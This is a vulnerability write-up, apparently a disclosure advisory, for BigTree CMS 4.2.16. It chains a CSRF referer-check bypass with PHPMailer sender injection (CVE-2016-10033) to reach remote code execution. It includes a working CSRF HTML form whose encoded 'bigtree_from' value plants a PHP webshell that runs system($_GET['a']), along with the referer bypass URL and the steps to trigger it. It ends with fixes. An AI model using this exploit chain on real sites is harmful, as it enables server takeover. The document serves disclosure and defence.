cdxy.me
Footprints on Cyber Security and Python

CSRF Protection Bypass and PHPMailer Remote Code Execution

Vulnerability Type: Cross-Site Request Forgery (CAPEC-62, CWE-352)
Author: i@cdxy.me
Vendor Homepage: https://www.bigtreecms.org/
Software Link: https://github.com/bigtreecms
Version: v.4.2.16

DESCRIPTION

PHPMailer RCE (CVE-2016-10033)

An independent research uncovered a critical vulnerability in PHPMailer (version < 5.2.20) that could potentially be used by (unauthenticated) remote attackers to achieve remote arbitrary code execution in the context of the web server user and remotely compromise the target web application.

PHPMailer uses the Sender variable to build the params string. Then PHPMailer::send() would call PHP native function mail() to execute /usr/bin/sendmail with the arguments in $this->Sender

According to my analysis, if we can control the value of Sender, we can let sendmail save the context (<?php phpinfo()?>) to any given path (/var/www/html/shell.php), which means code execution.

PHPMailer in BigTree CMS

BigTree CMS include PHPMailer in /core/inc/bigtree/utils.php

static function sendEmail($to,$subject,$html,$text = "",$from = false,$return = false,$cc = false,$bcc = false,$headers = array()) {
    $mailer = new PHPMailer;

    foreach ($headers as $key => $val) {
        $mailer->addCustomHeader($key,$val);
    }

    $mailer->Subject = $subject;
    if ($html) {
        $mailer->isHTML(true);
        $mailer->Body = $html;
        $mailer->AltBody = $text;
    } else {
        $mailer->Body = $text;
    }

    if (!$from) {
        $from = "no-reply@".(isset($_SERVER["HTTP_HOST"]) ? str_replace("www.","",$_SERVER["HTTP_HOST"]) : str_replace(array("http://www.","https://www.","http://","https://"),"",DOMAIN));
        $from_name = "BigTree CMS";
    } else {
        // Parse out from and reply-to names
        $from_name = false;
        $from = trim($from);
        if (strpos($from,"<") !== false && substr($from,-1,1) == ">") {
            $from_pieces = explode("<",$from);
            $from_name = trim($from_pieces[0]);
            $from = substr($from_pieces[1],0,-1);
        }
    }
    $mailer->From = $from;
    $mailer->FromName = $from_name;
    $mailer->Sender = $from;

The right way to set the value of Sender is using secure method $mailer->setForm(),but here the function passes $from to $mailer->Sender directly without any validation.

Go finding the call to function sendEmail().

/core/inc/bigtree/apis/email-service.php

function sendEmail($subject,$body,$to,$from_email = false,$from_name = false,$reply_to = false,$text = "") {
...
    if ($this->Service == "local") {
        return BigTree::sendEmail($to,$subject,$body,$text,($from_name ? "$from_name <$from_email>" : $from_email),$reply_to);
    }
...
}

Finding call to this function.

/core/inc/bigtree/admin.php line 2526

static function forgotPassword($email) {
    ...
$es = new BigTreeEmailService;

// Only use a custom email service if a from email has been set
    if ($es->Settings["bigtree_from"]) {
        $reply_to = "no-reply@".(isset($_SERVER["HTTP_HOST"]) ? str_replace("www.","",$_SERVER["HTTP_HOST"]) : str_replace(array("http://www.","https://www.","http://","https://"),"",DOMAIN));
        $es->sendEmail("Reset Your Password",$html,$user["email"],$es->Settings["bigtree_from"],"BigTree CMS",$reply_to);
    }
    ...
}

Finding how to manage the value of $es->Settings["bigtree_from"]

/core/admin/modules/developer/email/update.php line 16

...
$settings["settings"]["bigtree_from"] = $_POST["bigtree_from"];

$admin->updateSettingValue("bigtree-internal-email-service",$settings);
...

Now the transfer route is clear:

$_POST["bigtree_from"]; -> $settings["settings"]["bigtree_from"] -> $es->Settings["bigtree_from"] -> $from_email -> $from -> $mailer->Sender

The entry $_POST["bigtree_from"]; is generated by "Developer / Email Delivery" form.

Screenshot

But unfortunately it requires admin privilege, So I have to see if CSRF works.

CSRF Filter Bypass

Then I found its CSRF filter at

/core/admin/modules/developer/_header.php line 3

if (count($_POST)) {
    $clean_referer = str_replace(array("http://","https://"),"//",$_SERVER["HTTP_REFERER"]);
    $clean_admin_root = str_replace(array("http://","https://"),"//",ADMIN_ROOT)."developer/";

    // The referer MUST contain a URL from within the developer section to post to it.
    if (strpos($clean_referer,$clean_admin_root) === false) {
        die();
    }
}

It can be simply bypassed with:

https://attacker_host/?url=http://target_host/admin/developer/

PROOF OF CONCEPT EXPLOIT

Specific process is divided into the following four steps:

  1. Upload csrf.html to his public server, then send a CSRF probe to admin.
  2. Admin triggers CSRF, sending a POST request to updates mail settings.
  3. Request a mail from CMS, hence the PHPMailer will create a webshell.
  4. Execute commands with webshell.

Step1

CSRF probe

http://attacker_server/csrf.html?url=http://bigtreeCMS/admin/developer/

csrf.html

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="http://localhost/bigtree/BigTree-CMS/admin/developer/email/update/" method="POST">
      <input type="hidden" name="service" value="local" />
      <input type="hidden" name="bigtree&#95;from" value="&#63;php&#59;system&#40;&#36;&#95;GET&#91;&apos;a&apos;&#93;&#41;&#59;&#47;&#42;&#32;&#45;X&#47;var&#47;www&#47;html&#47;final&#46;php&#32;&#64;xxx" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

payloads in csrf.html

?php;system($_GET['a']);/* -X/var/www/html/final.php @xxx

(<> was filtered in backend, so I use /* to comment the following text)

Step2

bigtree_csrf_poc.png

Step3

Trigger PHPMailer at "forgot-password" form (unauthorized).

Screenshot%20from%202017-04-12%2017-27-21.png

Then /var/www/html/final.php will be created with PHP codes inside.

bigtree_final_php.png

Step4

Execute system commands with webshell.

bigtree_webshell.png

SOLUTION

  1. Update PHPMailer to latest version.
  2. Use secure method "setFrom()" to set the value of "Sender".
  3. Strengthen CSRF protection.